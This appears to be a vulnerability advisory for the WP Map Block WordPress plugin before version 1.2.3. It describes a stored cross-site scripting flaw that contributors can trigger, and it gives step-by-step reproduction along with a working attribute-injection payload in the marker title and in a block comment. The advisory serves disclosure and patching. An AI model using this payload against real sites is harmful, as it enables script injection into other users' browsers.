WP Map Block < 1.2.3 - Contributor+ Stored Cross-Site Scripting

2021-08-2500:00:00

apple502j

103

wordpress

map block

cross-site scripting

contributor

stored xss

security exploit

EPSS

0.001

Percentile

24.8%

JSON

The plugin does not escape some attributes of the WP Map Block, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attacks

- As a contributor, add a WP Map Block to a post/page
- Click "Show more settings"
- Scroll the sidebar and click "Map Marker"
- Click "Marker 1"
- Paste the following as "Title": ' style='animation-name:twentytwentyone-close-button-transition' onanimationend='alert(origin)'
- Save and view/preview to trigger the XSS (the payload is specific to the TwentyTwentyOne theme but could be changed)

<!-- wp:wpmapblock/wp-map-block {"map_id":"wpmapblock_0","map_marker_list":[{"lat":23.7806365,"lng":90.4193257,"title":"Bangladesh' style='animation-name:twentytwentyone-close-button-transition' onanimationend='alert(origin)'","content":"A Beautiful Country","iconType":"default","customIconUrl":"","customIconWidth":25,"customIconHeight":40}]} /-->

EPSS

0.001

Percentile

24.8%

JSON

Related for WPEX-ID:240DDDE9-095F-4919-832A-50279196DAC5